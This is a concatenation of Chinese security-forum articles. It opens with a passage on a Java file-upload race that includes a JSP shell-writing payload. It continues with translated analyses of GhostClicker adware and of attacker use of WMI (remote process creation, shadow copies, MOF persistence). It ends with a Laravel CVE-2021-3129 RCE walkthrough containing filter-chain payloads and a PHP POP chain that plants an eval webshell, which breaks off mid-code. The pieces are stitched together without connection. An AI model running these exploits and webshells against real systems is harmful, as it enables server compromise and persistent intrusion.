for(int i = 0; i < fileName.length; ++i) {
existingValues.add(fileName[i]);
}
this.parameters.put(filePart, existingValues);
}
}
Part var14;
while((var14 = parser.readNextPart()) != null) {
String var15 = var14.getName();
String var18;
if(var14.isParam()) {
ParamPart var16 = (ParamPart)var14;
var18 = var16.getStringValue();
existingValues = (Vector)this.parameters.get(var15);
if(existingValues == null) {
existingValues = new Vector();
this.parameters.put(var15, existingValues);
}
existingValues.addElement(var18);
} else if(var14.isFile()) {
FilePart var17 = (FilePart)var14;
var18 = var17.getFileName();
if(var18 != null) {
var17.setRenamePolicy(policy);
var17.writeTo(dir);
this.files.put(var15, new UploadedFile(dir.toString(),
var17.getFileName(), var18, var17.getContentType()));
} else {
this.files.put(var15, new UploadedFile((String)null,
(String)null, (String)null, (String)null));
}
}
}
}
}
}
主要就是，通过 http 流解析出来，然后暂时缓存到目录里面，那么这里就会有一个坑，以
往的文件上传，缓存目录是不能设置的，
一旦开发人员设置了缓存目录，并且这个目录位于 web 目录下，那么就造成了任意文件上
传，对于有意识的程序员来说，可能认为
在这个类调用之后，我判断的规则不符合，我直接删除掉，这样以来不就安全了，真的安
全吗？
回过头来，再看看上面的这个程序，这个程序是可以连续读取很多文件的，我们就可以认
为既定时间内上传文件可控
第一个文件就是我们的 shell 文件，内容可以如下：
java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("c")));out.close();%>
意思就是，上传一个中转文件，如果我们文件为 xxx.jsp，我们可以访问
xxx.jsp?f=mm.jsp&c=aGVsbG8=,这样以来就在 web 的
根目录下写入了一个 shell，shell 的内容就是 hello
不管作者程序是否多文件，你都可以构造第二个文件，内容要大，必须给我们要访问的中
转文件预留时间
实际看一个例子吧，某知名程序：
String newDir = date.format(new Date());
String pathOfTomcat = SysConfigVO.getInstance().getSITE_REAL_PATH();
String saveDirectory = "";
.................
................
...............
} else {
saveDirectory = pathOfTomcat + config.getFILE_UPLOAD_DIR() + File.separator
+ newDir;
}
saveDirectory = StrUtil.replaceAll(saveDirectory, "/", File.separator);
saveDirectory = StrUtil.replaceAll(saveDirectory, "//", File.separator);
saveDirectory = StrUtil.replaceAll(saveDirectory, "\\", File.separator);
File var38 = new File(saveDirectory);
if(!var38.exists()) {
var38.mkdirs();
}
int var37 = config.getFILE_UPLOAD_MAX_SIZE_BYTE();
MultipartRequest multi = null;
try {
multi = new MultipartRequest(requestHelper.getRequest(), saveDirectory,
var37, "gbk", new JcmsFileUploadRenamePolicy());
} catch (IOException var36) {
request.setAttribute("ERROR_MSG", "您上传的文件超出系统规定的大小（" +
config.getFILE_UPLOAD_MAX_SIZE_KB() + " KB,合计 " +
config.getFILE_UPLOAD_MAX_SIZE_M() + " M)");
var36.printStackTrace();
this.log.fatal(var36);
this.log.fatal("您上传的文件超出系统规定的大小（" + var37 / 1024 / 1024 + "
M)");
这样写有用吗，没卵用吧，如果第二个文件非常大，就直接 getshell 了，虽然报错了，都
没有人去删除那个,不是今天重点
if(!extNameAllow) {
s.delete();
this.log.error("您上传的文件类型不合法(" + url + ")，允许上传的文件类型有：
" + allowExtName);
request.setAttribute("ERROR_MSG", "您上传的文件类型不合法，允许上传的文件类
型有：" + allowExtName);
这里如果判断你上传的类型不对，直接给删除了，自己写一个 script
访问一下： | 社区文章 |
# 【技术分享】GhostClicker：Google Play中幽灵般的Android点击欺诈软件
|
##### 译文声明
本文是翻译文章，文章来源：blog.trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/ghostclicker-adware-is-a-phantomlike-android-click-fraud/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
近期，趋势科技的安全研究专家在Google Play应用商店中发现了一款自动点击型恶意软件，这款恶意广告软件名叫 **GhostClicker**
，它的影响范围非常大，目前在大约有Google Play应用商店中大约有340多款移动端应用程序感染了GhostClicker。
值得注意的是，其中有一款感染了GhostClicker的应用程序名叫“Aladdin’s Adventure’s
World”，而这款App的下载次数目前已经达到了 **五百万次**
。除此之外，嵌入了这款恶意广告软件的应用程序种类还包括休闲游戏、设备性能工具（例如清理工具或加速工具）、文件管理器、二维码/条形码扫描工具、多媒体录音器/播放器、以及一些与GPS定位导航相关的应用程序。
虽然绝大部分感染了GhostClicker的应用程序目前均已从Google Play应用商店下架，但是在2017年8月7日时仍然有 **101**
个相关App仍可从Google Play应用商店中下载获取。根据我们的检测工具以及传感器数据显示，目前GhostClicker的活动主要在
**巴西、日本、台湾、俄罗斯、意大利、美国和部分东南亚国家** 比较频繁。
**
**
**GhostClicker分析**
根据这款恶意广告软件的特性，即它不仅能够完成自动点击任务并隐藏在Google移动设备服务（GSM）之中，而且它还使用了Google当前最流行的应用程序编程接口（API），趋势科技的研究人员将这种恶意软件标记为了GhostClicker（
**ANDROIDOS_GHOSTCLICKER.AXM**
）。除此之外研究人员还发现，GhostClicker甚至还可以隐藏在Facebook的广告软件开发套件（Facebook Ad
SDK）之中。为了避免自己被安全产品检测到，它会将自己伪装成一个合法的应用程序组件（伪装成一个名叫“logs”的包），然后将自己嵌入在这两个服务（即Google的API以及Facebok的SDK）之中。
下图显示的是Google Play应用商店中的一款嵌入了GhostClicker的应用程序，我们可以看到其下载量/安装量已经达到了 **五百万次** ：
下图显示的是GhostClicker隐藏在GMS以及Facebook Ad SDK之中的代码：
虽然GhostClicker感染范围比较大，而且其持久化感染的能力也比较强，但是它也非常“ **挑食**
”，因为它在运行的过程中还有各种各样的要求。比如说在启动的时候，受感染的应用程序需要获取设备的系统属性（http.agent），而这个属性是用来配置安卓设备的
**User-Agent** 字符串的。如果这个字符串中包含“ **nexus**
”字样的话，GhostClicker进程将不会被触发。趋势科技的研究人员则认为，这种运行机制的目的是为了 **逃避沙盒检测**
，例如安卓操作系统内置的安卓应用程序沙箱（Android Application Sandbox），因为安卓模拟器或沙盒环境一般都命名为“Nexus
XXX”。
下图显示的是当设备http.agent属性中不包含字符串“ **nexus** ”时，GhostClicker的触发和运行过程：
在趋势科技所分析的受感染应用程序中，某些感染了GhostClicker的App在第一次运行时还会请求获取设备的管理员权限，但是它们并不会给用户声明程序的安全策略以及管理员权限的用途（例如擦除数据或重置密码）。除此之外，GhostClicker还会增加卸载应用程序的难度，并通过这种方式来阻止用户删除那些感染了GhostClicker的应用程序。研究人员表示，当用户想卸载这些App时，卸载的过程会非常的不友好：首先，卸载App不仅需要用户拥有管理员权限，而且在卸载之前还需要先禁用App才行。
下图显示的是感染了GhostClicker的应用程序在请求设备管理员权限时的界面：
从下图中可以看到，某些用户在Google Play应用商店中报告称自己无法卸载App（感染了GhostClicker）：
研究人员表示，GhostClicker目前主要通过自动点击欺诈来获取非法收入。但是与其他类型的恶意广告软件不同，GhostClicker在定位、获取和点击广告时并没有使用JavaScript代码，它主要通过向AdMob（Google自己的移动广告平台）注入自己的代码来获取到广告所在的位置。在获取到设备的屏幕尺寸（屏幕的宽度和高度）之后，它会计算出合适的X、Y坐标，然后使用
**dispatchTouchEvent** API来模拟用户的点击行为。
为了赚取更多的收入，GhostClicker还会生成虚假流量。当用户点击Google
Store中其他App的下载链接时它会弹出自己的窗口，而且它还可以通过后台的命令控制服务器（C&C）在受感染设备的浏览器中打开YouTube视频链接。在获取到了设备的管理员权限之后，GhostClicker每分钟都会重复执行这些自动点击操作。
下图显示的是GhostClicker注入在AdMob中的代码，这段代码用于获取AdMob的Context View：
下图显示的是GhostClicker计算生成的坐标信息：
下图显示的是GhostClicker根据X、Y坐标构建MotionEvent（模拟用户的点击行为）的相关代码：
下图显示的是GhostClicker使用dispatchTouchEvent API实现自动点击广告的代码：
**
**
**本文所分析的GhostClicker样本仍为初级版本**
趋势科技的研究人员通过对GhostClicker的跟踪分析后发现，GhostClicker当前的版本仍为初级版本。GhostClicker后来的版本似乎移除了自动点击功能以及设备管理员权限请求，这样做很可能是为了增加这款恶意广告软件的隐蔽性。当用户解锁手机屏幕之后，只要该设备接入了网络，那么GhostClicker将会定时（间隔一定的时间）弹出广告界面，而且我们在Aladdin’s
Adventure’s World应用程序中发现的正是这种更新版本的GhostClicker。
在对这款恶意广告软件的活动时间线进行分析之后，我们还发现早在一年多以前就已经有应用程序感染了GhostClicker，而GhostClicker最早在2016年的8月份就已经感染了GMS的SDK了。从2017年3月份开始，GhostClicker去掉了自动点击功能，转而开始利用Admob、Startapp和Facebook
Ads并通过接收C&C命令来弹出间隙广告。到2017年5月份，GhostClicker又将自动点击功能重新整合了进来，并且感染了Facebook
Ad的SDK。
**
**
**缓解方案以及最佳实践**
虽然广告在移动端生态系统中是一种很容易被人们忽略的因素，但是GhostClicker的存在充分证明了广告也可以成为网络犯罪分子的攻击向量。恶意广告软件的侵略性不言而喻，再加上这些恶意软件会消耗掉目标设备的大量资源（CPU、电池和流量等等），因此恶意广告软件也逐渐成为了一种非常严重的安全威胁。除此之外，它们还会在用户毫不知情的情况下收集目标用户的个人数据，并使用户的隐私暴露在安全风险之中。最最重要的是，恶意广告软件还有可能让用户感染上真正的恶意软件，而此时用户面临的将不仅仅是恶意广告那么“简单”的问题了。
首先，我们可以通过限制设备管理员功能/权限来缓解GhostClicker所带来的威胁。一般来说，设备管理员功能主要适用于一些安全程序，例如反病毒产品，而一般的用户基本上是不需要使用这些权限和功能的。
其次，用户需要定期更新设备的操作系统，并遵循设备制造商给出的安全使用建议。企业用户在使用公司设备或在BYOD环境中时同样需要做到这些。除此之外，当你在下载一款应用程序时，请一定要先看一看其他用户对这款应用程序的评论，如果这款应用程序有问题的话，你肯定能够在评论区中发现的。
**
**
**总结**
目前，趋势科技的研究人员已经将该威胁上报给了Google的安全团队，并且正在与Google的技术人员配合将Google Play上的受感染App下架。
注：关于GhostClicker的入侵威胁指标（IoC）、相关哈希（SHA256）、包名以及App标签等内容，请参考【[附录](https://documents.trendmicro.com/assets/Appendix-GhostClicker-Adware-is-a-Phantomlike-Android-Click-Fraud.pdf)】。 | 社区文章 |
# 【技术分享】零C++基础，打造Windows事件钩子：对WMI的深入分析
|
##### 译文声明
本文是翻译文章，文章来源：huntingmalware.com
原文地址：<https://blog.huntingmalware.com/notes/WMI>
译文仅供参考，具体内容表达以及含义原文为准。
[](http://reactjs.com/)
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在想要Hook Windows事件时，大家往往会想到rootkits、低级C++代码和Windows
API调用。其实还有另一种更简单的方法，无需了解任何关于Windows内部结构的知识，使用预装在Windows中的工具即可实现，那就是WMI。
**
**
**关于WMI**
以下是摘自MSDN的官方说明：
**WMI（Windows Management Instrumentation）**
_是Windows操作系统上管理数据和操作的基础结构。您可以编写WMI脚本或应用程序，以自动化的方式远程管理计算机上的任务。同时，WMI也能够向操作系统和产品的其他部分提供管理数据。_
这个说明让我们知道了WMI的潜力，它可以在远程计算机上去执行管理任务。然而，这只是冰山一角。在近期，一些攻击者（例如CozyDuke和Deep
Panda）已经开始使用Windows本地工具来进行攻击活动，这将会成为一种发展趋势。
这种攻击方式对于攻击者而言具有许多优势。首先，攻击者无需再将自己的工具放在目标系统中，有效降低了被检测到的概率。其次，使用WMI在被攻击的系统中留下的痕迹少之又少。
WMI可以通过PowerShell、WMI控制台或使用托管对象格式（MOF）脚本进行调用。
使用PowerShell的WMI，可以打开一个PowerShell终端，并按下述方式执行get-wmiobject（或gwmi）命令：
$ get-wmiobject win32_logicaldisk name, freespace, systemname, size -filter drivetype=3 __GENUS: 2 __CLASS: Win32_LogicalDisk __SUPERCLASS: __DYNASTY: __RELPATH: __PROPERTY_COUNT: 4 __DERIVATION: {} __SERVER: __NAMESPACE: __PATH: FreeSpace: 34652438528 Nam: C: Size: 106901270528 SystemName: AI-PINCHEWEEEY-VM PSComputerName:
如上所示，我们可以通过使用Win32_LogicalDisk类获得多个系统驱动器属性。这些类中的每一个都有属性和可以执行的方法。可以通过阅读对应的MSDN文档（<https://msdn.microsoft.com/en-us/library/windows/desktop/aa394173%28v=vs.85%29.aspx>），获取其信息。
攻击者可以执行创建C盘卷影副本的WMI命令，并检索其ID，以便后期清理痕迹时删除卷影副本。目前，这种方法已经被用于解密SAM文件并获得Windows凭据。在这种情况下，Win32_ShadowCopy类中的Create()方法被调用：
$ Get-WMIObject Win32_ShadowCopy -List).Create("C:", "ClientAccessible").ShadowID
如果你想要卷影副本的moar cookie，可以参考这一篇文章：
[https://webcache.googleusercontent.com/search?q=cache:qiIjB9TU0VwJ:blog.szynalski.com/2009/11/volume-shadow-copy-system-restore/](https://webcache.googleusercontent.com/search?q=cache:qiIjB9TU0VwJ:blog.szynalski.com/2009/11/volume-shadow-copy-system-restore/)
另外，也可以从Windows命令行中通过WMI控制台执行WMI命令，其语法类似于：
$ wmic logicaldisk where drivetype=3 get name, freespace, systemname, size FreeSpace Name Size SystemName 33230168064 C: 106901270528 AI-PINCHEWEEEY-VM
**
**
**开始攻击**
我们现在知道，已经有很多可以通过WMI使用的类，并且每一个类都有可以执行的方法。那么攻击者如何利用WMI实现攻击呢？我们举两个例子。
首先是启动进程：
$ wmic process call create "notepad.exe" Executing (Win32_Process)->Create() Method execution successful. Out Parameters: instance of __PARAMETERS {
接下来是结束进程：
$ wmic process where name="notepad.exe" delete Deleting instance \AI-PINCHEWEEEY-VMROOTCIMV2:Win32_Process.Handle="2416" Instance deletion successful.
想必大家已经觉得事情有些可怕了吧。甚至，你可以使用很多操作系统类，例如：
Win32_Process (“edit”, query processes)
Win32_Service (“edit”, query services)
Win32_Directory (“edit”, query directories)
Win32_Shares (“edit”, query network shares)
Win32_LocalTime (query time)
更多关于操作系统类的介绍可以参考：<https://msdn.microsoft.com/en-us/library/dn792258>
我们尝试远程运行命令：
$ wmic /node: "192.168.1.10" /username:domainuser /password:pwd process call create 'notepad.exe' Executing (Win32_Process)->Create() Method execution successful. Out Parameters: instance of __PARAMETERS { ProcessId = 5176;
当攻击者需要从一台主机横向移动到另一台主机时，这无疑来说是一个简单的方式，因为不需要再像PSExec一样将工具放入目标主机中。
**
**
**Hook Windows事件**
接下来，我们来聊一下MOF脚本。简而言之，MOF脚本是通过mofcomp.exe程序编译后产生的文件，通过它可以调用WMI的一些功能。
借助MOF脚本，我们可以定时执行指定的命令，其使用如下：
**__EventConsumer： 执行什么内容**
**__EventFilter： 什么时间执行**
** __FilterToConsumerBinding： 绑定执行内容与执行时间**
特别说明的一点是，Event Consumer可以执行VB脚本，例如：
instance of ActiveScriptEventConsumer as $Cons { Name = "ASEC"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject("WScript.Shell") n" "objShell.Exec("c:\windows\system32\cmd.exe /c echo MOF Script Output>c:\mof_output.txt")n"; };
Event Consumer可以执行Windows命令行，并通过VB脚本输出文件。
下面是一个Event Filter的例子：
instance of __EventFilter as $Filt { Name = "EF"; EventNamespace = "root\cimv2"; QueryLanguage = "WQL"; Query = "SELECT * FROM __InstanceCreationEvent " "WITHIN 2 WHERE TargetInstance ISA 'Win32_Process' " "AND TargetInstance.Name = 'notepad.exe'"; };
Event
Filter使用了一种名为WQL（WMI查询语言）的语言。这种语言可以用来Hook不同的系统事件。在这种情况下，我们定义了“何时触发”，在发生实例创建事件时，可以被读取。在本例中，我们寻找的是一个名为“notepad.exe”的Wind32_Process类实例创建事件。
这是一个用来Hook Create Process调用的简单方法，攻击者可以查看特定的进程，随后执行某些操作，例如结束进程。
下面，让我们看看如何将执行内容与执行时间相绑定：
instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };
最终的MOF脚本是这样的：
#pragma namespace ("\\.\root\subscription") instance of ActiveScriptEventConsumer as $Cons { Name = "ASEC"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject("WScript.Shell") n" "objShell.Exec("c:\windows\system32\cmd.exe /c echo MOF Script Output>c:\mof_output.txt")n"; }; instance of __EventFilter as $Filt { Name = "EF"; EventNamespace = "root\cimv2"; QueryLanguage = "WQL"; Query = "SELECT * FROM __InstanceCreationEvent " "WITHIN 2 WHERE TargetInstance ISA 'Win32_Process' " "AND TargetInstance.Name = 'notepad.exe'"; }; instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };
要执行这一脚本，我们只需以管理员身份执行mofcomp.exe工具来编译它即可：
$ mofcomp.exe .mof_script.mof Microsoft (R) MOF Compiler Version 10.0.10586.0 Copyright (c) Microsoft Corp. 1997-2006. All rights reserved. Parsing MOF file: .mof_script.mof MOF file has been successfully parsed Storing data in the repository... WARNING: File .mof_script.mof does not contain #PRAGMA AUTORECOVER. If the WMI repository is rebuilt in the future, the contents of this MOF file will not be included in the new WMI repository. To include this MOF file when the WMI Repository is automatically reconstructed, place the #PRAGMA AUTORECOVER statement on the first line of the MOF file. Done!
在此时，如果打开记事本，还可以看到是如何在C:中创建mof_output.txt文件的。
**
**
**更深入的分析**
如果需要在某个特定时间执行，同样非常容易，我们只需要将Event Filter更改为如下内容：
instance of __EventFilter as $Filt { Name = "EF"; EventNamespace = "root\cimv2"; QueryLanguage = "WQL"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE " "TargetInstance ISA 'Win32_LocalTime' AND " "TargetInstance.Hour = 10 AND " "TargetInstance.Minute = 34"; };
现在，Event
Consumer被设定为在上午的10:34触发。我们是通过hook系统时间和其变化来实现的定时。其中，WITHIN子句定义了20秒的轮询间隔。
至此，我们已经了解攻击者是如何使用WMI和MOF脚本来执行想要的操作。可以在特定的时间（用于决定何时从目标系统中获取信息）、进程或服务启动/停止时（用于停用安全产品）、某个文件被写入或删除时、Windows登录时去执行指定的操作。
**
**
**如何防范**
我们已经知道WMI攻击有多强大，接下来的问题就是如何去防范此类攻击。最重要的是，管理员需要了解系统中正在运行的内容。具体而言，需要知道在系统中注册了哪些事件，以便监控它们的创建和删除。用户可以使用以下PowerShell命令列出Event
Consumers、Event Filters和Filter To Consumer Bindings：
gwmi -Namespace "root/subscription" -Class __EventFilter gwmi -Namespace "root/subscription" -Class __EventConsumer gwmi -Namespace "root/subscription" -Class __FilterToConsumerBinding
可以使用下列命令删除事件：
gwmi -Namespace "root/subscription" -Class __EventConsumer | where name -eq "<NAME>" | Remove-WmiObject gwmi -Namespace "root/subscription" -Class __EventFilter | where name -eq "<NAME>" | Remove-WmiObject
我们还可以编写自己的脚本，监视系统事件并删除不应该存在的所有内容。此外，还可以使用Windows的事件跟踪器来跟踪WMI活动。
**总结**
众所周知，每一个强大的工具，都有其正反两面。目前，WMI攻击已经被一些恶意软件使用，例如Wiper（在索尼影业泄密事件中被用于横向移动）、Flame（通过一个MOF文件执行使用rundll32的DLL）、Kjw0rm（在法国TV5Monde网络攻击事件中被用于获取系统信息）、PowerWorm（持续感染U盘文件的恶意软件）和Operation
Mangal（安装自定义的恶意软件）等。
希望通过本文，能让大家了解到WMI的作用，能充分意识到其潜在的危险，并将其加入到大家的威胁模型之中 | 社区文章 |
# Laravel 8 Debug mode RCE 汇总
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
环境配置
* PHP: 7.3.4
* Laravel：8.32.1
影响版本
* Laravel < 8.4.3
* Facade Ignition < 2.5.2
环境搭建: `composer create-project --prefer-dist laravel/laravel laravel822
"8.2.*"` , 如果用到了未默认带的组件会在文中说明 !
通过 php artisan serve 启动服务
## CVE-2021-3129
经典的 laravel8.22 反序列化漏洞, 发生在`Ignition`（<=2.5.1）中，口子在
`index.php/_ignition/execute-solution`, `Ignition`默认提供了以下几个solutions
本次漏洞就是其中
`vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php`
过滤不严谨导致的, 先找到执行 solution 的php文件, 全局搜索 ExecuteSolutionController
<?php
namespace Facade\Ignition\Http\Controllers;
use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
发现有 `__invoke()` 魔法函数, 然后跟进调用的是 run 方法, 并将可控的 `parameters` 传过去, 通过这个点我们可以调用到
`MakeViewVariableOptionalSolution::run()`
<?php
namespace Facade\Ignition\Solutions;
use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;
use Illuminate\Support\Str;
class MakeViewVariableOptionalSolution implements RunnableSolution {
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
...
}
然后跟进到 makeOptional 方法
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
体现的功能就是替换 `$variableName` 为 `$variableName ?? ''` , 之后写回文件中
由于这里调用了`file_get_contents()`, 且其中的参数可控, 所以这里可以通过`phar://`协议去触发phar反序列化
**将log转化为phar文件**
原文作者给出的一个基于框架触发 phar反序列化的方法: 将log文件变成合法的phar文件
laravel 的 log 文件在 `/storage/logs/laravel.log`
[2021-03-14 03:47:21] production.ERROR: No application encryption key has been specified. {"exception":"[object] (Illuminate\\Encryption\\MissingAppKeyException(code: 0): No application encryption key has been specified. at D:\\phpstudy_pro\\WWW\\laravel822\\vendor\\laravel\\framework\\src\\Illuminate\\Encryption\\EncryptionServiceProvider.php:79)
[stacktrace]
#0 D:\\phpstudy_pro\\WWW\\laravel822\\vendor\\laravel\\framework\\src\\Illuminate\\Support\\helpers.php(263): Illuminate\\Encryption\\EncryptionServiceProvider->Illuminate\\Encryption\\{closure}(NULL)
#1 D:\\phpstudy_pro\\WWW\\laravel822\\vendor\\laravel\\framework\\src\\Illuminate\\Encryption\\EncryptionServiceProvider.php(81): tap(NULL, Object(Closure))
#2
...
原文作者在文章中提出了使用 `php://filter` 中的 `convert.base64-decode` 过滤器的特性, 将log清空
<img src=”https://p5.ssl.qhimg.com/t01bcf0f7e02d81fe40.png” style=”zoom:150%;”
/>
`convert.base64-decode` 会将一些非 base64 字符给过滤掉后再进行 `decode`, 所以可以通过调用多次
`convert.base64-decode` 来将 log 清空
<img src=”https://p2.ssl.qhimg.com/t01884d4be108dc3977.png” style=”zoom:150%;”
/>
但是也会出现非预期的状况, 如果某次 base64 编码后的 `=` 出现了别的 base64 字符
<img src=”https://p0.ssl.qhimg.com/t0145f977898a91bded.png” style=”zoom:150%;”
/>
php是会报一个 Warning 的, 且由于 laravel 开启了debug模式，所以会触发 `Ignition`
生成错误页面，导致decode后的字符没有成功写入
所以我们清空 log 文件的目录大致分为底下两步操作:
* 使 log 文件尽可能变成非 base64 字符
* 再通过 `convert.base64-decode` 将所有非 base64 字符清空
原文作者在第一步通过多次 `convert.base64-decode` , 但是有可能会出现上述的 Warning 状况, 例如取了一次真实的
laravel.log 进行多次 `convert.base64-decode` , php报了 Warning
所以我们需要考虑另外一种方式达到第一步的目的, 我们知道 `php://filter` 还有很多解析器, 像是
`convert.base64-decode`, `string.rot13`, `string.strip_tags`,
`convert.iconv.UCS-2LE.UCS-2BE`, `convert.iconv.utf-8.utf-7` 等, 这里我们使用
`convert.iconv.utf-8.utf-16be`
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be/resource=../storage/logs/laravel.log"}}
结果如下
然后使用 `convert.quoted-printable-encode` 打印所有不可见的字符
再使用 `convert.iconv.utf-16be.utf-8`
这三部操作显而易见的将 log 文件内的字符变成了非 base64 字符, 这个时候再使用 `convert.base64-decode` 就可以成功清楚
log 文件
那么我们把上述步骤合并起来就达成了这两步的目的
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
实现了一步清空 log 文件
**写入符合规范的phar文件**
我们可以通过 `file_get_contents` 去触发日志的记录, 也可以本地调试报错后在相关的文件夹找到 log 文件的记录
通过观察, 可以发现 log 文件大致的格式
[时间]错误原因:错误发生的完整路径:错误发生的完整路径
[跟踪]#0...+部分payload+...
会发现我们 file_get_contents 的完整路径会出现两次
最终需要让 log 文件变成恶意 phar 文件, 所以还得继续对 log 文件进行操作
原文作者给出的方式是 `convert.iconv.utf-16le.utf-8`
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "R\0i\0c\0k\0y\0 \0u\0p\0l\0o\0a\0d\0 \0a\0 \0f\0i\0l\0e\0.\0\n\0");
fclose($fp);
/* Result: Ricky upload a file. */
?>
然后测试一下
我们可以再后一个 payload添加任意字符, 这样至少能有一个转义出来
这样子就是我们想要的效果, 因为除了 payload 的部分都是非 base64 字符, 只要我们将 payload
进行base64编码后再decode即可把非 base64 字符消除掉
但是这么做还会有一个问题，就是在 `file_get_contents()` 传入`\00` 的时候 php 会报一个 Warning,
同样会触发Debug页面的报错, 还需要想办法把空字节（`\00`）写入到 log 文件中
这个时候就可以使用 `convert.quoted-printable-encode`过滤器, 将不可见字符打印出来
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "P\0A\0Y\0L\0O\0A\0D\0");
fclose($fp);
/* Result: P=00A=00Y=00L=00O=00A=00D */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-decode');
fwrite($fp, "P=00A=00Y=00L=00O=00A=00D=00");
fclose($fp);
/* Result: PAYLOAD */
?>
原理就是将字符转成ascii后前面加个`=`号, 将其打印出来, `convert.quoted-printable-decode` 则是将等号后面的
ascii 字符解码并打印出来, 于是我们可以用 **=00 代替 \00** 传入到 file_get_contents 当中,
完整调用的payload是这样的
php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
**易错点1**
如果直接根据作者给出的方式生成 PAYLOAD ，在到 `convert.quoted-printable-decode` 过滤器的时候可能会出问题
把 `=` 改成 `=3D` 就不会出现此类问题
**易错点2**
我们生成的 PAYLOAD 会在 log 文件中完整出现两次以外, 还会在底下出现部分 PAYLOAD, 所以我们先将 PAYLOAD 进行一次
`convert.quoted-printable-encode`编码
**尝试写入log文件**
尝试报错后产生 log 文件, 然后一步清空
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
给 log 文件加入前缀
"viewFile": "AA"
将需要写入的字符编码
# -*-coding:utf-8-*- import base64
s = base64.b64encode(b'PAYLOAD').decode('utf-8')
r = ''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
print(r)
# =55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00
清空干扰字符
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
成功写入任意字符, 那 log 文件的内容我们就可控了
## POP链1
然后我们只需要完整利用, 拿自己之前挖的 payload 测试一下
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace Illuminate\Filesystem {
class Filesystem{
public $path = 'ricky.php';
public $data = '<?php eval($_POST[ricky]);?>';
}
}
namespace Illuminate\Auth {
class RequestGuard {
protected $user;
protected $callback;
protected $request = 'ricky.php';
protected $provider = '<?php eval($_POST[ricky]);?>';
public function __construct($callback) {
$this->callback = $callback;
}
}
}
namespace {
use Illuminate\Auth\RequestGuard;
use Illuminate\Filesystem\Filesystem;
use Illuminate\Validation\Validator;
use Illuminate\Broadcasting\PendingBroadcast;
$c = new RequestGuard([new Filesystem(), 'append']);
$b = new Validator(array(''=>'call_user_func'));
$a = new PendingBroadcast($b, [$c, 'user']);
$phar = new Phar("phar.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();
}
生成 phar 文件再把里面的内容转为 base64 字符
然后 python 转换
# -*-coding:utf-8-*- import base64a
s = '你的base64的payload'
r = ''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
print(r+'a') # 因为后面有), 加入一个干扰字符会将我们的phar内容保留下来
然后先传入任意不存在文件报错 > 生成 log 文件 > 传入payload > 执行清空 log 文件的步骤
最后我们 phar反序列化包含即可成功
## POP链2
用 FileCookieJar 进行文件上传
<?php
namespace{
require "./autoload.php"; // 取决于你 exp.php 的存放位置
$a = new \GuzzleHttp\Cookie\FileCookieJar("./ricky.php");
$a->setCookie(new \GuzzleHttp\Cookie\SetCookie([
'Name'=>'ricky',
